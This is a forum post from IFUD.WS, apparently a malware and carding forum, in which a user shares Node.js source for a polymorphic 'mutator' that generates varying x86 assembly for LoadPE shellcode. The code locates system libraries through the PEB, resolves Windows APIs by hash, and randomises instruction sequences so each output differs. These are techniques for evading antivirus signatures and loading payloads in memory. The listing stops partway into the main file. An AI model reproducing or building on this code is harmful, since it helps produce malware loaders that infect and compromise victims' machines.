1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[NODE JS] Мутатор LoadPE шеллкода

Тема в разделе "Программирование", создана пользователем 0xDADA11C7, 6 янв 2015.

  1. TopicStarter Overlay
    0xDADA11C7

    0xDADA11C7

    Регистрация:
    5 янв 2015
    Сообщения:
    8
    Симпатии:
    23
    Когда-то давно я игрался с кодогенерацией и сделал этот мутатор loadPE шеллкодов. Я понимаю, что создаваемый код убог, но сама идея интересна. LLVM IR для бедных :) Каждый раз мутатор выдаёт другой код. Не воспринимайте серьёзно, потому что код смишнявый :-)

    platform.js файл
    Код:
    var pad = require('./modules/node-pad/lib/pad.js');
    var fs = require('fs');
    var _ = require('./modules/underscore/underscore.js');
    const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;
    
    exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG; 
    exports.LOCK_VAR = LOCK_VAR;
    
    const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
    exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
    exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;
    
    const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
    exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE; 
    
    const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
    exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;
    
    const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
          REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
          REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
          REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);
    exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
    exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
    exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
    exports.REG_SI = REG_SI; exports.REG_AX = REG_DI;
    
    const MEM32 = 0, MEM16 = 1, MEM8 = 2; 
    exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;
    
    function unchainMem(s) {
        var r=""; 
        if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]); 
        return(r);
    }
    
    function unchainConst(s){
        var r = ""; 
        if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]); 
        return(r);
    }
    
    function BytesToDword (B1, B2, B3, B4) {
        var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
        return(iResult>>>0);
    };
    
    exports.BytesToDword = BytesToDword;
    
    Number.prototype.toHex = function() {
        return('0x'+this.toString(16)); };
    
    function arrRndValue (arr) {                                                                           
        return(arr[Math.floor(Math.random()*arr.length)]);};
    
    function arrRndOrderConact(array){
        return(_.shuffle(array).join(''));};
        
    var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
        this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };
    
    RegisterProto = {
        lock: function() { this.using = true;},
    
        unlock: function() { this.using = false; },
    
        toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name);},
    
        isGeneral: function(){return(this.name[3] !== null);}};
    
    SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};
    
    module.exports.Register = Register;
    module.exports.Register.prototype = RegisterProto;
    
    SetRegisterProto = {
        arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],
    
        has: function (i) {
            if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
        add: function(i) { 
            if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
        remove: function(i) { 
            if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0) ; return(true);},
        toArrayIndex: function() {
            var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
        toArrayIndexInverse: function() {
            var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
        toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
        toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
        getInt: function () {return(this.num);},
        setInt: function (i) {this.num = i; return (true);},
        not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};
    
    module.exports.SetRegister = SetRegister;
    module.exports.SetRegister.prototype = SetRegisterProto;
    SetRegister.prototype = SetRegisterProto;
    
    function Registers() {
        var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'], 
        ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
        this.container = []; this.used = new SetRegister();
        _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};
    
    RegistersProto = {
    
        objToIndex : function (a) {
        var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},
    
        arrIndexToArrObj : function (a) {
        if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null); 
        return(_.map(a, function(x) { return(this.container[x]); }, this))},
    
        getIndexByName : function (sName){
        var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},
    
        getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container);},
    
        getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },
    
        getArrFreeName : function () {return(this.used.toArrayNamesInverse());},
    
        getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},
    
        getUsedIndex : function () {return(this.used.toArrayIndex());},
    
        getUsedNames : function() {return(this.used.toArrayNames());},
    
        getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
        
        getFreeIndex : function(flags) {
            var  rs = this.getArrFreeObj(), r, res; 
            if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this); 
            if (!_.size(rs)) return(NaN); 
            r = arrRndValue(rs); 
            if (flags & LOCK_REG) r.lock(); 
            res = this.objToIndex(r);
            if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res); 
            return(res);
        },
    
        getFreeObj : function(flags) {
            var  rs = this.getArrFreeObj(), r; 
            if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this); 
            if (!_.size(rs)) return(null); 
            r = arrRndValue(rs); 
            if (flags & LOCK_REG) r.lock();
            if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r)); 
            return(r);
        }
    }
    
    module.exports.Registers = Registers;
    module.exports.Registers.prototype = RegistersProto;
    Registers.prototype = RegistersProto;
    
    function Variable (sName, iSize) {
        this.name = sName; this.use = false; this.size = iSize;};
    
    module.exports.Variable = Variable;
    
    function Variables () {
        this.container = new Array();};
        
    VariablesProto = {
    
        add : function (sName, iSize) {if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null);},
    
        isExists : function (sName) {
        return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},
    
        toString : function (sName) {
        return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+'  local   '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},
    
        getAsmType : function(i) {
        var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
        if (_.has(obj, i)) return(obj); return ('['+i.toHex()+']:BYTE');}};
    
    module.exports.Variables = Variables;
    Variables.prototype = VariablesProto;
    module.exports.Variables.ptototype = VariablesProto;
    
    //module.exports.Variables.ptototype = VariablesProto;
    function ExecutionEnvironment(sName, sCallConv, arrParam) {
        var f;
        this.regs = new Registers(); this.vars = new Variables(); this.name = sName; 
        this.callconv = sCallConv;
        if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
        this.tableCmd = [];
        f = function (p, f) {
            f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
        this.tableCmd.push(['inc', ['r8'], 1, f]); 
        this.tableCmd.push(['inc', ['r16'], 1, f]); 
        this.tableCmd.push(['inc', ['r32'], 1, f]); 
        this.tableCmd.push(['inc', ['m32'], 1, f]);
        f = function (p, f) {
            f.emit(['add', p[1].s, p[0].s]); return(true);};
        this.tableCmd.push(['add', ['c8', 'r8'], 2, f]); 
        this.tableCmd.push(['add', ['c16', 'r16'], 2, f]); 
        f = function (p, f) {
            f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
        this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
        f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
        this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
        f = function (p, f) {
            f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
        this.tableCmd.push(['load', ['m32', 'r32'], 2, f]); 
        this.tableCmd.push(['load', ['r32', 'm32'], 2, f]); 
        this.tableCmd.push(['load', ['r32', 'r32'], 2, f]); 
        this.tableCmd.push(['load', ['c32', 'r32'], 2, f]); 
        this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
        f = function (p, f) {
            f.emit(['push', p[0].s, ';', 'pop', p[1].s]); 
            return(true);
        };
        this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
        f = function (p, f) {
            f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]); 
            return(true);
        };
        this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
        f = function(p, f) { 
            f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
            return(true);
        };
        this.tableCmd.push(['checkz', ['r8'], 1, f]); 
        this.tableCmd.push(['checkz', ['r16'], 1, f]); 
        this.tableCmd.push(['checkz', ['r32'], 1, f]);
        f = function(p, f) {
            f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]); 
            return(true)
        };
        this.tableCmd.push(['loadz', ['r32'], 1, f]);
        f = function(p, f) { 
            f.emit(['movzx', p[1].s, p[0].s]); 
            return(true)
        };
        this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
        this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
        f = function(p, f) {
            var r;
            if (_.random(1)) {
                f.emit(['cmp', p[1].s, p[0].s]);
            } else {
                r = f.getFreeReg(LOCK_REG); 
                f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
                f.emit(['cmp', r.s, (p[0].i).toHex()]); 
                r.o.unlock();
            }; 
            return(true);
        };
        this.tableCmd.push(['check', ['c16', 'm16'], 2, f]); 
        f = function(p, f) { 
            f.emit(['cmp', p[1].s, p[0].s]); return(true);
        };
        this.tableCmd.push(['check', ['c32', 'm32'], 2, f]); 
        this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
        this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false};
    };
    
    ExecutionEnvironmentProto = {
        emit : function (line) {
        ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
        _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax); 
        this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s='    '+pad(x[0], 8); 
        if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},
    
        finalize : function(r) {
        if (this.callconv == 'stdcall') {
            var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
            regz = this.regs.getUsedIndex();
            if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
                if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);} 
                else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); }; 
            } else { 
                this.vars.add('iResult');
                if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
                    if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
            };
            if (bSaveUsedRegs) {
                this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return('    push    '+i+'\n'+memo+'    pop     '+i+'\n');}, this.code, this);}
            else {this.code = '    pusha\n'+this.code+'    popa\n';};
            if (!(optimize && bSaveUsedRegs && this.useForResult == REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
            this.code = 'proc    '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+'    ret\nendp\n';
            return (true);};
        return(false);},
    
        setUseForResult : function(r) {if (_.isString(r) || _.isNumber(r)) { this.useForResult = r; return(true); }; return(false); },
    
        toString : function () {return(this.code);},
    
        toType : function(t, v) {
        var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
        isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
        toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i))) 
        return(null); if (_.has(obj, i)) return({s:obj+' '+p, o: null, i:null}); return(null); }
        toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
        // 
        oTableType = {
            'm32': function (p, ee) {return(toMem(p, MEM32));}, 
            'm16': function (p, ee) {return(toMem(p, MEM16));}, 
            'm8':  function (p, ee) {return(toMem(p, MEM8));}, 
            'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
            'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
            'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
            'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
            'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
            'c8': function (p, ee)  { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
        };
        return(_.has(oTableType,t)?oTableType[t](v,this):null);
    },
    
        cmd : function(name, params) {
            var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
            if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params); 
            if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},
        
        getFreeReg: function(f) {
        return(this.toType('r32', this.regs.getFreeIndex(f)));}};
    
    module.exports.ExecutionEnvironment = ExecutionEnvironment;
    module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
    ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
    [/JS]
    tablecall.js файл
    [JS]
    var pad = require('./modules/node-pad/lib/pad.js');
    var _ = require('./modules/underscore/underscore.js');
    var p = require('./platform.js');
    
    function nameptrfnc(v) {
        if (_.isObject(v) && _.has(v, 'lib') && _.has(v, 'fnc'), _.isString(v.lib), _.isString(v.lib)) {
            return('p'+v.fnc+'_'+v.lib.replace(/\.dll/gi, ''))}};
    
    module.exports = nameptrfnc;
    
    function namehandlelib(slib) {
        if (_.isString(slib)) return('h'+slib.replace(/\.dll/gi, ''));};
    
    module.exports = namehandlelib;
    
    function namestrzlib(slib) {
        if (_.isString(slib)) return('sz'+slib.replace(/\.dll/gi, ''));};
    
    module.exports = namestrzlib;
    
    function genAPIStruct(ta) {
        return (_.reduce(_.shuffle(ta), function(memo, val) { return (memo + pad(' '+nameptrfnc(val), 40)+' dd ?\n'); }, 'struct stAPITable\n') + 'ends\n');};
    
    module.exports.genAPIStruct = genAPIStruct;
    
    toHex = function(x) {
        return('0x'+x.toString(16));};
    
    CodeSnippet = function(name, callconv, params, fSnippet, prmz) {
        var ee = new p.ExecutionEnvironment(name, callconv, params);
        fSnippet(ee, ee.regs, ee.vars, prmz);
        ee.finalize();
        return({e : ee, code: ee.code, buffer: null});};
    
    module.exports.CodeSnippet = CodeSnippet;
    
    var fHashRor7Xor = function (e, r, v) {
        var r1 = e.getFreeReg(p.USE_ONLY_GENERAL_REGS|p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', ['strz', r2.i]);
        e.cmd('load_c32$r32', [0, r1.i]);
        e.emit(['push',''+r1.s]);
        e.emit('.CalcHash:\n');
        e.emit(['ror', r1.s, 7]);
        e.emit(['xor','[esp]', r1.s]);
        e.emit(['mov', e.toType('r8', r1.i+p.REG_R8L).s,  'Byte ['+r2.s+']']);
        e.cmd('inc_r32', [r2.i]);
        e.cmd('checkz_r8', [r1.i+p.REG_R8L]);
        e.emit(['jnz','.CalcHash']);
        e.emit(['pop','eax']);
        e.setUseForResult(p.REG_EAX);};
    
    var fGetNtdll = function (e, r, v) {
        var r1, r2, r3, r4;
        r1 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', ['fs:0x30', r1.i]);
        r1.o.unlock();
        r2 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [r1.s+'+0xC', r2.i]);
        r2.o.unlock();
        r3 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [r2.s+'+0x1C', r3.i]);
        r3.o.unlock();
        e.setUseForResult(r3.s+'+0x8');};
    
    var fGetK32 = function (e, r, v){
        var reg1, reg2, reg3, reg4, reg5; c = _.shuffle([0x6b, 0x4b]);
        e.vars.add('iResult');
        reg1 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', ['fs:0x30', reg1.i]);
        reg1.o.unlock();
        reg2 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [reg1.s+'+0xC', reg2.i]);
        reg2.o.unlock();
        reg3 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [reg2.s+'+0x1C', reg3.i]);
        e.emit('.NextModule:\n');
        e.cmd('load_m32$m32', [reg3.s+'+0x8', 'iResult']);
        reg4 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [reg3.s+'+0x20', reg4.i]);
        e.cmd('load_m32$r32', [reg3.s, reg3.i]);    
        reg5 = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
        e.cmd('loadzx_m8$r32', [reg4.s+'+0x18', reg5.i]);
        e.cmd('checkz_r32', [reg5.i]);
        e.emit(['jne', '.NextModule']);
        e.cmd('loadzx_m8$r32', [reg4.s, reg5.i]);
        e.emit(['cmp', reg5.s, toHex(c[0]), ';', 'je', '.Found_K32', ';', 'cmp', reg5.s,  toHex(c[1]), ';', 'jne', '.NextModule']);
        e.emit('.Found_K32:\n');
        e.setUseForResult('iResult');};
    
    function genData(e, buff, memdest) {
        var i = 0, r = e.getFreeReg(LOCK_REG);
        e.emit(['lea', r.s, '['+memdest+']']);
        while( i < buff.length){
            if ((buff.length - i - 1) > 4) {
                e.cmd('load_c32$m32', [p.BytesToDword(buff, buff[i+1], buff[i+2], buff[i+3]), r.s]); i+=4; e.cmd('add_c32$r32', [4, r.i]);
            } else { e.emit(['mov', 'BYTE ['+r.s+']', toHex(buff)]); i++; if (i !== buff.length) { e.cmd('inc_r32', [r.i]);}; }; }; r.o.unlock();};
    
    module.exports.genData = genData;
    
    function fAltGetProcAddress (e, r, v){
        var r1;
        e.vars.add('iResult');
        r1 = e.getFreeReg(p.LOCK_REG);
        eval(_.shuffle(["e.cmd('load_c32$m32', [0, 'iResult'])", "e.cmd('load_m32$r32', ['hLib', r1.i])"]).join(';'));
        e.cmd('check_c16$m16', [0x5a4d, r1.s]);
        e.emit(['jne', '.End']);
        r2 = e.getFreeReg(p.LOCK_REG);
        e.cmd('loadzx_m16$r32', [r1.s+'+0x3c', r2.i]);
        e.cmd('add_r32$r32', [r1.i, r2.i]);
        e.cmd('check_c32$m32', [0x4550, r2.s]);
        e.emit(['jne', '.End']);
        r3 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [r2.s+'+0x78', r3.i]);
        r2.o.unlock();
        e.cmd('add_r32$r32', [r1.i, r3.i]);
        r4 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [r3.s+'+0x18', r4.i]);
        r5 = e.getFreeReg(p.LOCK_REG);
        e.emit(['push', r3.s]);
        e.cmd('loadz_r32', [r5.i]);
        r6 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [r3.s+'+0x20', r6.i]);   
        r3.o.unlock(); 
        e.cmd('add_r32$r32', [r1.i, r6.i]);
        e.emit('.MainLoop:\n');
        r7 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [r6.s, r7.i]);
        e.cmd('add_r32$r32', [r1.i, r7.i]);
        e.emit(['push', 'eax']);
        e.emit(['stdcall', '[fHashProc]', r7.s]);
        e.cmd('check_m32$r32', ['iHashVal', p.REG_EAX]);
        e.emit(['pop', 'eax']);
        e.emit(['jz', '.FoundProcname']);
        eval(_.shuffle(["e.cmd('add_c32$r32', [0x4, r6.i])", "e.cmd('inc_r32', [r5.i])", "e.cmd('dec_r32', [r4.i])"]).join(';'));
        e.cmd('checkz_r32', [r4.i]);
        e.emit(['jnz', '.MainLoop']);
        e.emit(['pop', e.getFreeReg().s]);
        e.emit(['jmp', '.End']);
        e.emit('.FoundProcname:\n');
        r7.o.unlock(); r6.o.unlock(); r4.o.unlock();
        r8 = e.getFreeReg(p.LOCK_REG);
        e.emit(['pop', r8.s]);
        eval("e.emit(['shl', r5.s, 0x1])");
        e.emit(['add', r5.s, (e.toType('m32', r8.s+'+0x24')).s]);
        r9 = e.getFreeReg(p.LOCK_REG);
        e.cmd('loadzx_m16$r32', [r5.s+'+'+r1.s, r9.i]);
        eval(["e.emit(['shl', r9.s, 0x2]); e.cmd('add_r32$r32', [r1.i, r9.i]);", 
            "e.emit(['lea', r9.s, '['+ r9.s+'*4+'+r1.s+']']);"][_.random(1)]);
        e.emit(['add', r9.s, (e.toType('m32', r8.s+'+0x1C')).s]);
        r8.o.unlock(); r10 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', [r9.s, r10.i]);
        e.cmd('add_r32$r32', [r1.i, r10.i]);
        e.cmd('load_r32$m32', [r10.i, 'iResult']);
        e.emit('.End:\n');  
    };
    
    function tableApiUnique (ta) {
        return(eval('[ '+(_.uniq(_.map(ta, function(x) { return(JSON.stringify(x));}))).join(', ')+' ]'));};
    
    function tableApiHasLib(ta, sDll) {
        return (_.size(_.where(ta, {lib:sDll})) > 0);};
    
    function tableApiHasUserLibs(ta){
        return(_.find ( ta, function(value) { return ( value.lib !== 'kernel32.dll' && value.lib !== 'ntdll.dll') }) === null);};
    
    function tableApiGetUserLibs(ta) {
         return(_.filter(_.unique(_.pluck(ta, 'lib')), function(value) { return (value !== 'kernel32.dll' && value !== 'ntdll.dll') }));};
    
    
    var oGetNtdllProc = CodeSnippet('GetNtdll', 'stdcall', [], fGetNtdll);
    var oGetK32Proc = CodeSnippet('GetK32', 'stdcall', [], fGetK32);
    var oGetHashProc = CodeSnippet('GetHashSz', 'stdcall', ['strz'], fHashRor7Xor);
    var oAltGetProcAddress = CodeSnippet('AltGetProcAddressByHash', 'stdcall', ['hLib', 'fHashProc', 'iHashVal'], fAltGetProcAddress);
    
    function _rotr (value, shift) {
        if ((shift &= 31) == 0) return value;
        return ((value >>> shift) | (value << (32 - shift)));};
    
    function hash_ror7xor(b){
        var r = 0, x = 0;
        for (i = 0; i<_.size(b); i++) { x = _rotr(x, 7); r ^= x; x = x & 0xffffff00; x |= b>>>0; }; 
            return( (r^=_rotr(x, 7))>>>0);};
    
    function followApiTable(e, ta){
        var bufflib,  r = e.regs, v = e.vars;
        reg_addr = e.toType('r32', [p.REG_EBX, p.REG_ESI, p.REG_EDI][_.random(2)]); 
        reg_addr.o.lock();
        if (tableApiHasUserLibs(ta)) {
            ta.push({fnc: 'LoadLibraryA', lib: 'kernel32.dll'});};
        ta = tableApiUnique(ta);
        v.add('pGetHashSz');
        e.cmd('load_m32$r32', ['pMyAddr', reg_addr.i]);
        e.emit(['lea', reg_addr.s, '['+reg_addr.s+'+GetHashSz]']);
        e.cmd('load_r32$m32', [reg_addr.i, 'pGetHashSz']);
        if (tableApiHasLib(ta, 'kernel32.dll')) {
            e.vars.add(namehandlelib('kernel32.dll'));
            e.emit(['call', 'GetK32']);
            e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('kernel32.dll')]);};
        if (tableApiHasLib(ta, 'ntdll.dll')) {
            e.vars.add(namehandlelib('ntdll.dll'));
            e.emit(['call', 'GetNtdll']);
            e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('ntdll.dll')]);};
        e.vars.add('APITable',_.size(ta)*4);
        _.each(tableApiGetUserLibs(ta), function(lib) { 
            e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib('kernel32')+']', reg_addr.s, toHex(hash_ror7xor(new Buffer('LoadLibraryA', 'utf-8')))]);
            e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.pLoadLibraryA_kernel32']);
            var s, bufflib, ro;
            s = namestrzlib(lib);
            bufflib = new Buffer(lib+'\0', 'utf-8');
            v.add(s, _.size(bufflib));
            genData(e, bufflib, s);
            v.add(namehandlelib(lib));
            ro = e.getFreeReg(p.LOCK_REG);
            e.emit(['lea', ro.s, '['+s+']'])
            e.emit(['stdcall', 'DWord [APITable+stAPITable.pLoadLibraryA_kernel32]', ro.s]); ro.o.unlock();
            e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib(lib)]);
            }, this);
        _.each(ta, function(value) {
            if (!(tableApiHasUserLibs(ta) && value.fnc === "LoadLibraryA")) {
                e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib(value.lib)+']', reg_addr.s, toHex(hash_ror7xor(new Buffer(value.fnc, 'utf-8')))]);
                e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.'+nameptrfnc(value)]);}
            }, this);
        reg_addr.o.unlock();
        return(genAPIStruct(ta));};
        
    module.exports.followApiTable = followApiTable;
    module.exports.procz =  [oGetNtdllProc, oGetK32Proc, oGetHashProc, oAltGetProcAddress];
    

    loadpe.js главный файл
    Код:
    var tc = require('./tablecall.js');
    var p = require('./platform.js');
    var fs = require('fs');
    var _ = require('./modules/underscore/underscore.js');
    
    var tableApi = [{fnc:'LoadLibraryA', lib:'kernel32.dll'},  {fnc:'VirtualProtect', lib:'kernel32.dll'}];
    var headerz;
    var procz = tc.procz;
    
